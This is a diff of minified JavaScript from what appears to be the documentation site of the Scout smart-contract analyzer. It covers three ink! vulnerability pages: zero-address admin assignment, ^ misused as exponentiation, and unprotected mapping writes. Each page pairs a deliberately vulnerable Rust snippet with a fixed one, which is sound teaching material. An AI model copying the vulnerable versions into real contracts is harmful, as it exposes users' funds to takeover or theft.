t)hasOwnProperty.call(t,l)&&(o[l]=t[l]);o.originalType=e,o[u]="string"==typeof e?e:a,s[1]=o;for(var d=2;d{r.r(t),r.d(t,{assets:()=>l,contentTitle:()=>s,default:()=>p,frontMatter:()=>i,metadata:()=>o,toc:()=>d});var n=r(2564),a=(r(9496),r(9613));const i={},s="Zero or test address",o={unversionedId:"vulnerabilities/zero-or-test-address",id:"vulnerabilities/zero-or-test-address",title:"Zero or test address",description:"Description",source:"@site/docs/vulnerabilities/12-zero-or-test-address.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/zero-or-test-address",permalink:"/scout/docs/vulnerabilities/zero-or-test-address",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/12-zero-or-test-address.md",tags:[],version:"current",sidebarPosition:12,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Delegate call",permalink:"/scout/docs/vulnerabilities/delegate-call"},next:{title:"Insufficiently random values",permalink:"/scout/docs/vulnerabilities/insufficiently-random-values"}},l={},d=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],c={toc:d},u="wrapper";function p(e){let{components:t,...r}=e;return(0,a.kt)(u,(0,n.Z)({},c,r,{components:t,mdxType:"MDXLayout"}),(0,a.kt)("h1",{id:"zero-or-test-address"},"Zero or test address"),(0,a.kt)("h2",{id:"description"},"Description"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,a.kt)("inlineCode",{parentName:"li"},"Validations and error handling")),(0,a.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,a.kt)("inlineCode",{parentName:"li"},"Medium")),(0,a.kt)("li",{parentName:"ul"},"Detectors: ",(0,a.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/zero-or-test-address"},(0,a.kt)("inlineCode",{parentName:"a"},"zero-test-address"))),(0,a.kt)("li",{parentName:"ul"},"Test Cases: ",(0,a.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/zero-or-test-address/zero-or-test-address-1"},(0,a.kt)("inlineCode",{parentName:"a"},"zero-test-address-1")))),(0,a.kt)("p",null,"Verifying that the zero address is not assigned in a smart contract, including those built with ink! on the Substrate platform, is essential to avoid a potential vulnerability. The zero address has known private keys, and this poses a significant risk. If ownership is mistakenly transferred to the zero address, the contract becomes unmanageable as malicious actors can access and control it using the known private keys associated with the zero address. This would render any funds or functionality within the contract vulnerable and easily exploitable. Hence, always ensure the zero address is not set as the owner while coding or operating your ink! smart contracts to safeguard against this vulnerability."),(0,a.kt)("p",null,"Assigning a test address can also have similar implications, including the loss of access or granting access to a malicious actor if its private keys are not handled with care."),(0,a.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,a.kt)("p",null,"Consider the following ",(0,a.kt)("inlineCode",{parentName:"p"},"ink!")," contract:"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},"#[ink(message)]\npub fn modify_admin(&mut self, admin: AccountId) -> Result {\n if self.admin != self.env().caller() {\n return Err(Error::NotAuthorized);\n }\n\n self.admin = admin;\n Ok(self.admin)\n}\n")),(0,a.kt)("p",null,"The ",(0,a.kt)("inlineCode",{parentName:"p"},"modify_admin")," function in this specific smart contract could be vulnerable due to an absence of validation for the incoming admin address. The function is intended to allow the existing admin to change the admin of the contract, but if the zero address is provided, it gets assigned as the admin. The private key for the zero address is known, which means anyone can claim ownership. Therefore, a validation check that rejects the zero address during the admin reassignment is crucial for the contract's security."),(0,a.kt)("p",null,"The vulnerable code example can be found ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/zero-or-test-address/zero-or-test-address-1/vulnerable-example"},(0,a.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,a.kt)("h2",{id:"remediation"},"Remediation"),(0,a.kt)("p",null,"To remediate this problem, verify in your code whether the ",(0,a.kt)("inlineCode",{parentName:"p"},"admin")," provided is the zero address and return an Error if this is the case."),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},"#[ink(message)]\npub fn modify_admin(&mut self, admin: AccountId) -> Result {\n if self.admin != self.env().caller() {\n return Err(Error::NotAuthorized);\n }\n\n if admin == AccountId::from([0x0; 32]) {\n return Err(Error::InvalidAddress);\n }\n\n self.admin = admin;\n Ok(self.admin)\n}\n")),(0,a.kt)("p",null,"The remediated code example can be found ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/zero-or-test-address/zero-or-test-address-1/remediated-example"},(0,a.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,a.kt)("h2",{id:"references"},"References"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("a",{parentName:"li",href:"https://github.com/crytic/slither/wiki/Detector-Documentation#missing-zero-address-validation"},"Slither: Missing zero address validation")),(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("a",{parentName:"li",href:"https://blackadam.hashnode.dev/zero-address-check-the-danger"},"https://blackadam.hashnode.dev/zero-address-check-the-danger")),(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("a",{parentName:"li",href:"https://substrate.stackexchange.com/questions/982/why-does-the-all-0-public-key-have-a-known-private-key-in-sr25519-and-ed25519"},"https://substrate.stackexchange.com/questions/982/why-does-the-all-0-public-key-have-a-known-private-key-in-sr25519-and-ed25519"))))}p.isMDXComponent=!0}}]); \ No newline at end of file +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[4417],{9613:(e,t,r)=>{r.d(t,{Zo:()=>c,kt:()=>h});var n=r(9496);function a(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function i(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function s(e){for(var t=1;t=0||(a[r]=e[r]);return a}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(a[r]=e[r])}return a}var l=n.createContext({}),d=function(e){var t=n.useContext(l),r=t;return e&&(r="function"==typeof e?e(t):s(s({},t),e)),r},c=function(e){var t=d(e.components);return n.createElement(l.Provider,{value:t},e.children)},u="mdxType",p={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},m=n.forwardRef((function(e,t){var r=e.components,a=e.mdxType,i=e.originalType,l=e.parentName,c=o(e,["components","mdxType","originalType","parentName"]),u=d(r),m=a,h=u["".concat(l,".").concat(m)]||u[m]||p[m]||i;return r?n.createElement(h,s(s({ref:t},c),{},{components:r})):n.createElement(h,s({ref:t},c))}));function h(e,t){var r=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var i=r.length,s=new Array(i);s[0]=m;var o={};for(var l in t)hasOwnProperty.call(t,l)&&(o[l]=t[l]);o.originalType=e,o[u]="string"==typeof e?e:a,s[1]=o;for(var d=2;d{r.r(t),r.d(t,{assets:()=>l,contentTitle:()=>s,default:()=>p,frontMatter:()=>i,metadata:()=>o,toc:()=>d});var n=r(2564),a=(r(9496),r(9613));const i={},s="Zero or test address",o={unversionedId:"vulnerabilities/zero-or-test-address",id:"vulnerabilities/zero-or-test-address",title:"Zero or test address",description:"Description",source:"@site/docs/vulnerabilities/12-zero-or-test-address.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/zero-or-test-address",permalink:"/scout/docs/vulnerabilities/zero-or-test-address",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/12-zero-or-test-address.md",tags:[],version:"current",sidebarPosition:12,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Delegate call",permalink:"/scout/docs/vulnerabilities/delegate-call"},next:{title:"Insufficiently random values",permalink:"/scout/docs/vulnerabilities/insufficiently-random-values"}},l={},d=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],c={toc:d},u="wrapper";function p(e){let{components:t,...r}=e;return(0,a.kt)(u,(0,n.Z)({},c,r,{components:t,mdxType:"MDXLayout"}),(0,a.kt)("h1",{id:"zero-or-test-address"},"Zero or test address"),(0,a.kt)("h2",{id:"description"},"Description"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,a.kt)("inlineCode",{parentName:"li"},"Validations and error handling")),(0,a.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,a.kt)("inlineCode",{parentName:"li"},"Medium")),(0,a.kt)("li",{parentName:"ul"},"Detectors: ",(0,a.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/zero-or-test-address"},(0,a.kt)("inlineCode",{parentName:"a"},"zero-test-address"))),(0,a.kt)("li",{parentName:"ul"},"Test Cases: ",(0,a.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/zero-or-test-address/zero-or-test-address-1"},(0,a.kt)("inlineCode",{parentName:"a"},"zero-test-address-1")))),(0,a.kt)("p",null,"Verifying that the zero address is not assigned in a smart contract, including those built with ink! on the Substrate platform, is essential to avoid a potential vulnerability. The zero address has known private keys, and this poses a significant risk. If ownership is mistakenly transferred to the zero address, the contract becomes unmanageable as malicious actors can access and control it using the known private keys associated with the zero address. This would render any funds or functionality within the contract vulnerable and easily exploitable. Hence, always ensure the zero address is not set as the owner while coding or operating your ink! smart contracts to safeguard against this vulnerability."),(0,a.kt)("p",null,"Assigning a test address can also have similar implications, including the loss of access or granting access to a malicious actor if its private keys are not handled with care."),(0,a.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,a.kt)("p",null,"Consider the following ",(0,a.kt)("inlineCode",{parentName:"p"},"ink!")," contract:"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},"#[ink(message)]\npub fn modify_admin(&mut self, admin: AccountId) -> Result {\n if self.admin != self.env().caller() {\n return Err(Error::NotAuthorized);\n }\n\n self.admin = admin;\n Ok(self.admin)\n}\n")),(0,a.kt)("p",null,"The ",(0,a.kt)("inlineCode",{parentName:"p"},"modify_admin")," function in this specific smart contract could be vulnerable due to an absence of validation for the incoming admin address. The function is intended to allow the existing admin to change the admin of the contract, but if the zero address is provided, it gets assigned as the admin. The private key for the zero address is known, which means anyone can claim ownership. Therefore, a validation check that rejects the zero address during the admin reassignment is crucial for the contract's security."),(0,a.kt)("p",null,"The vulnerable code example can be found ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/zero-or-test-address/zero-or-test-address-1/vulnerable-example"},(0,a.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,a.kt)("h2",{id:"remediation"},"Remediation"),(0,a.kt)("p",null,"To remediate this problem, verify in your code whether the ",(0,a.kt)("inlineCode",{parentName:"p"},"admin")," provided is the zero address and return an ",(0,a.kt)("inlineCode",{parentName:"p"},"Error")," if this is the case."),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},"#[ink(message)]\npub fn modify_admin(&mut self, admin: AccountId) -> Result {\n if self.admin != self.env().caller() {\n return Err(Error::NotAuthorized);\n }\n\n if admin == AccountId::from([0x0; 32]) {\n return Err(Error::InvalidAddress);\n }\n\n self.admin = admin;\n Ok(self.admin)\n}\n")),(0,a.kt)("p",null,"The remediated code example can be found ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/zero-or-test-address/zero-or-test-address-1/remediated-example"},(0,a.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,a.kt)("h2",{id:"references"},"References"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("a",{parentName:"li",href:"https://github.com/crytic/slither/wiki/Detector-Documentation#missing-zero-address-validation"},"Slither: Missing zero address validation")),(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("a",{parentName:"li",href:"https://blackadam.hashnode.dev/zero-address-check-the-danger"},"https://blackadam.hashnode.dev/zero-address-check-the-danger")),(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("a",{parentName:"li",href:"https://substrate.stackexchange.com/questions/982/why-does-the-all-0-public-key-have-a-known-private-key-in-sr25519-and-ed25519"},"https://substrate.stackexchange.com/questions/982/why-does-the-all-0-public-key-have-a-known-private-key-in-sr25519-and-ed25519"))))}p.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/a5bad117.9266573f.js b/assets/js/a5bad117.9266573f.js new file mode 100644 index 00000000..7ccd4787 --- /dev/null +++ b/assets/js/a5bad117.9266573f.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[1117],{9613:(e,t,n)=>{n.d(t,{Zo:()=>s,kt:()=>f});var r=n(9496);function i(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function o(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function a(e){for(var t=1;t=0||(i[n]=e[n]);return i}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}var c=r.createContext({}),p=function(e){var t=r.useContext(c),n=t;return e&&(n="function"==typeof e?e(t):a(a({},t),e)),n},s=function(e){var t=p(e.components);return r.createElement(c.Provider,{value:t},e.children)},u="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},m=r.forwardRef((function(e,t){var n=e.components,i=e.mdxType,o=e.originalType,c=e.parentName,s=l(e,["components","mdxType","originalType","parentName"]),u=p(n),m=i,f=u["".concat(c,".").concat(m)]||u[m]||d[m]||o;return n?r.createElement(f,a(a({ref:t},s),{},{components:n})):r.createElement(f,a({ref:t},s))}));function f(e,t){var n=arguments,i=t&&t.mdxType;if("string"==typeof e||i){var o=n.length,a=new Array(o);a[0]=m;var l={};for(var c in t)hasOwnProperty.call(t,c)&&(l[c]=t[c]);l.originalType=e,l[u]="string"==typeof e?e:i,a[1]=l;for(var p=2;p{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>a,default:()=>d,frontMatter:()=>o,metadata:()=>l,toc:()=>p});var r=n(2564),i=(n(9496),n(9613));const o={},a="Incorrect Exponentiation",l={unversionedId:"vulnerabilities/incorrect-exponentiation",id:"vulnerabilities/incorrect-exponentiation",title:"Incorrect Exponentiation",description:"Description",source:"@site/docs/vulnerabilities/24-incorrect-exponentiation.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/incorrect-exponentiation",permalink:"/scout/docs/vulnerabilities/incorrect-exponentiation",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/24-incorrect-exponentiation.md",tags:[],version:"current",sidebarPosition:24,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Lazy storage on delegate",permalink:"/scout/docs/vulnerabilities/lazy-delegate"},next:{title:"Buffering Unsized Types",permalink:"/scout/docs/vulnerabilities/buffering-unsized-types"}},c={},p=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],s={toc:p},u="wrapper";function d(e){let{components:t,...n}=e;return(0,i.kt)(u,(0,r.Z)({},s,n,{components:t,mdxType:"MDXLayout"}),(0,i.kt)("h1",{id:"incorrect-exponentiation"},"Incorrect Exponentiation"),(0,i.kt)("h2",{id:"description"},"Description"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,i.kt)("inlineCode",{parentName:"li"},"Arithmetic")),(0,i.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,i.kt)("inlineCode",{parentName:"li"},"Critical")),(0,i.kt)("li",{parentName:"ul"},"Detectors: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/incorrect-exponentiation"},(0,i.kt)("inlineCode",{parentName:"a"},"incorrect-exponentiation"))),(0,i.kt)("li",{parentName:"ul"},"Test Cases: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/incorrect-exponentiation/incorrect-exponentiation-1"},(0,i.kt)("inlineCode",{parentName:"a"},"incorrect-exponentiation-1")))),(0,i.kt)("p",null,"The operator ",(0,i.kt)("inlineCode",{parentName:"p"},"^")," is not an exponential operator, it is a bitwise XOR. Make sure to use ",(0,i.kt)("inlineCode",{parentName:"p"},"pow()")," instead for exponentiation. In case of performing a XOR operation, use ",(0,i.kt)("inlineCode",{parentName:"p"},".bitxor()")," for clarity."),(0,i.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,i.kt)("p",null,"In the following example, the ",(0,i.kt)("inlineCode",{parentName:"p"},"^")," operand is being used for exponentiation. But in Rust, ",(0,i.kt)("inlineCode",{parentName:"p"},"^")," is the operand for an XOR operation. If misused,\nthis could lead to unexpected behaviour in our contract."),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn exp_data_by_3(&mut self) {\n self.data ^= 3\n }\n")),(0,i.kt)("p",null,"The vulnerable code example can be found ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/incorrect-exponentiation/incorrect-exponentiation-1/vulnerable-example"},(0,i.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,i.kt)("h2",{id:"remediation"},"Remediation"),(0,i.kt)("p",null,"A possible solution is to use the method ",(0,i.kt)("inlineCode",{parentName:"p"},"pow()"),". But, if a XOR operation is wanted, ",(0,i.kt)("inlineCode",{parentName:"p"},".bitxor()")," method is recommended."),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn exp_data_by_3(&mut self) {\n self.data = self.data.pow(3)\n }\n")),(0,i.kt)("p",null,"The remediated code example can be found ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/incorrect-exponentiation/incorrect-exponentiation-1/remediated-example"},(0,i.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,i.kt)("h2",{id:"references"},"References"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://doc.rust-lang.org/std/ops/trait.BitXor.html"},"https://doc.rust-lang.org/std/ops/trait.BitXor.html"))))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/a64d7d4c.5aa5d334.js b/assets/js/a64d7d4c.5aa5d334.js deleted file mode 100644 index 159e3669..00000000 --- a/assets/js/a64d7d4c.5aa5d334.js +++ /dev/null @@ -1 +0,0 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[153],{9613:(e,t,n)=>{n.d(t,{Zo:()=>p,kt:()=>f});var r=n(9496);function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function o(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function i(e){for(var t=1;t=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var s=r.createContext({}),c=function(e){var t=r.useContext(s),n=t;return e&&(n="function"==typeof e?e(t):i(i({},t),e)),n},p=function(e){var t=c(e.components);return r.createElement(s.Provider,{value:t},e.children)},u="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},m=r.forwardRef((function(e,t){var n=e.components,a=e.mdxType,o=e.originalType,s=e.parentName,p=l(e,["components","mdxType","originalType","parentName"]),u=c(n),m=a,f=u["".concat(s,".").concat(m)]||u[m]||d[m]||o;return n?r.createElement(f,i(i({ref:t},p),{},{components:n})):r.createElement(f,i({ref:t},p))}));function f(e,t){var n=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var o=n.length,i=new Array(o);i[0]=m;var l={};for(var s in t)hasOwnProperty.call(t,s)&&(l[s]=t[s]);l.originalType=e,l[u]="string"==typeof e?e:a,i[1]=l;for(var c=2;c{n.r(t),n.d(t,{assets:()=>s,contentTitle:()=>i,default:()=>d,frontMatter:()=>o,metadata:()=>l,toc:()=>c});var r=n(2564),a=(n(9496),n(9613));const o={},i="Unprotected Mapping Operation",l={unversionedId:"detectors/unprotected-mapping-operation",id:"detectors/unprotected-mapping-operation",title:"Unprotected Mapping Operation",description:"What it does",source:"@site/docs/detectors/22-unprotected-mapping-operation.md",sourceDirName:"detectors",slug:"/detectors/unprotected-mapping-operation",permalink:"/scout/docs/detectors/unprotected-mapping-operation",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/22-unprotected-mapping-operation.md",tags:[],version:"current",sidebarPosition:22,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Unprotected set code hash",permalink:"/scout/docs/detectors/unprotected-set-code-hash"},next:{title:"Lazy storage on delegate",permalink:"/scout/docs/detectors/lazy-delegate"}},s={},c=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Known problems",id:"known-problems",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],p={toc:c},u="wrapper";function d(e){let{components:t,...n}=e;return(0,a.kt)(u,(0,r.Z)({},p,n,{components:t,mdxType:"MDXLayout"}),(0,a.kt)("h1",{id:"unprotected-mapping-operation"},"Unprotected Mapping Operation"),(0,a.kt)("h3",{id:"what-it-does"},"What it does"),(0,a.kt)("p",null,"It warns you if a mapping operation (",(0,a.kt)("inlineCode",{parentName:"p"},"insert"),", ",(0,a.kt)("inlineCode",{parentName:"p"},"take"),", ",(0,a.kt)("inlineCode",{parentName:"p"},"remove"),") function is called with a user-given ",(0,a.kt)("inlineCode",{parentName:"p"},"key")," field of the type ",(0,a.kt)("inlineCode",{parentName:"p"},"AccountId"),"."),(0,a.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,a.kt)("p",null,"Modifying mappings with an arbitrary key given by users can be a significant vulnerability for several reasons:"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("p",{parentName:"li"},"Unintended Modifications: Allowing users to provide arbitrary keys can lead to unintended modifications of critical data within the smart contract. If the input validation and sanitation are not done properly, users may be able to manipulate the data in ways that were not intended by the contract's author.")),(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("p",{parentName:"li"},"Data Corruption: Malicious users could intentionally provide keys that result in the corruption or manipulation of important data stored in the mapping. This could lead to incorrect calculations, unauthorized access, or other undesirable outcomes.")),(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("p",{parentName:"li"},"Denial-of-Service (DoS) Attacks: If users can set arbitrary keys, they may be able to create mappings with a large number of entries, potentially causing the contract to exceed its gas limit. This could lead to denial-of-service attacks, making the contract unusable for other users."))),(0,a.kt)("h3",{id:"known-problems"},"Known problems"),(0,a.kt)("h3",{id:"example"},"Example"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn withdraw(&mut self, amount: Balance, from: AccountId) -> Result<(), Error> {\n let current_bal = self.balances.take(from).unwrap_or(0);\n if current_bal >= amount {\n self.balances.insert(from, &(current_bal - amount));\n self.env()\n .transfer(from, current_bal)\n .map_err(|_| Error::TransferError)\n } else {\n Err(Error::BalanceNotEnough)\n }\n }\n")),(0,a.kt)("p",null,"Use instead:"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn withdraw(&mut self, amount: Balance) -> Result<(), Error> {\n let caller = self.env().caller();\n let current_bal = self.balances.take(caller).unwrap_or(0);\n if current_bal >= amount {\n self.balances.insert(caller, &(current_bal - amount));\n self.env()\n .transfer(caller, current_bal)\n .map_err(|_| Error::TransferError)\n } else {\n Err(Error::BalanceNotEnough)\n }\n }\n")),(0,a.kt)("h3",{id:"implementation"},"Implementation"),(0,a.kt)("p",null,"The detector's implementation can be found at ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/unprotected-mapping-operation"},"this link"),"."))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/a64d7d4c.b143b102.js b/assets/js/a64d7d4c.b143b102.js new file mode 100644 index 00000000..e7912310 --- /dev/null +++ b/assets/js/a64d7d4c.b143b102.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[153],{9613:(e,t,n)=>{n.d(t,{Zo:()=>p,kt:()=>f});var r=n(9496);function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function o(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function i(e){for(var t=1;t=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var c=r.createContext({}),s=function(e){var t=r.useContext(c),n=t;return e&&(n="function"==typeof e?e(t):i(i({},t),e)),n},p=function(e){var t=s(e.components);return r.createElement(c.Provider,{value:t},e.children)},u="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},m=r.forwardRef((function(e,t){var n=e.components,a=e.mdxType,o=e.originalType,c=e.parentName,p=l(e,["components","mdxType","originalType","parentName"]),u=s(n),m=a,f=u["".concat(c,".").concat(m)]||u[m]||d[m]||o;return n?r.createElement(f,i(i({ref:t},p),{},{components:n})):r.createElement(f,i({ref:t},p))}));function f(e,t){var n=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var o=n.length,i=new Array(o);i[0]=m;var l={};for(var c in t)hasOwnProperty.call(t,c)&&(l[c]=t[c]);l.originalType=e,l[u]="string"==typeof e?e:a,i[1]=l;for(var s=2;s{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>i,default:()=>d,frontMatter:()=>o,metadata:()=>l,toc:()=>s});var r=n(2564),a=(n(9496),n(9613));const o={},i="Unprotected Mapping Operation",l={unversionedId:"detectors/unprotected-mapping-operation",id:"detectors/unprotected-mapping-operation",title:"Unprotected Mapping Operation",description:"What it does",source:"@site/docs/detectors/22-unprotected-mapping-operation.md",sourceDirName:"detectors",slug:"/detectors/unprotected-mapping-operation",permalink:"/scout/docs/detectors/unprotected-mapping-operation",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/22-unprotected-mapping-operation.md",tags:[],version:"current",sidebarPosition:22,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Unprotected set code hash",permalink:"/scout/docs/detectors/unprotected-set-code-hash"},next:{title:"Lazy storage on delegate",permalink:"/scout/docs/detectors/lazy-delegate"}},c={},s=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],p={toc:s},u="wrapper";function d(e){let{components:t,...n}=e;return(0,a.kt)(u,(0,r.Z)({},p,n,{components:t,mdxType:"MDXLayout"}),(0,a.kt)("h1",{id:"unprotected-mapping-operation"},"Unprotected Mapping Operation"),(0,a.kt)("h3",{id:"what-it-does"},"What it does"),(0,a.kt)("p",null,"It warns you if a mapping operation (",(0,a.kt)("inlineCode",{parentName:"p"},"insert"),", ",(0,a.kt)("inlineCode",{parentName:"p"},"take"),", ",(0,a.kt)("inlineCode",{parentName:"p"},"remove"),") function is called with a user-given ",(0,a.kt)("inlineCode",{parentName:"p"},"key")," field of the type ",(0,a.kt)("inlineCode",{parentName:"p"},"AccountId"),"."),(0,a.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,a.kt)("p",null,"Modifying mappings with an arbitrary key given by users can be a significant vulnerability for several reasons:"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("p",{parentName:"li"},"Unintended Modifications: Allowing users to provide arbitrary keys can lead to unintended modifications of critical data within the smart contract. If the input validation and sanitization are not done properly, users may be able to manipulate the data in ways that were not intended by the contract's author.")),(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("p",{parentName:"li"},"Data Corruption: Malicious users could intentionally provide keys that result in the corruption or manipulation of important data stored in the mapping. This could lead to incorrect calculations, unauthorized access, or other undesirable outcomes.")),(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("p",{parentName:"li"},"Denial-of-Service (DoS) Attacks: If users can set arbitrary keys, they may be able to create mappings with a large number of entries, potentially causing the contract to exceed its gas limit. This could lead to denial-of-service attacks, making the contract unusable for other 